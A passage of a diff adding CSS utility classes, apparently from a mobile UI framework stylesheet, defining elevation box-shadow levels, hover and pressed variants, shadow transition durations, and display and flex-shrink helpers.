+} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + 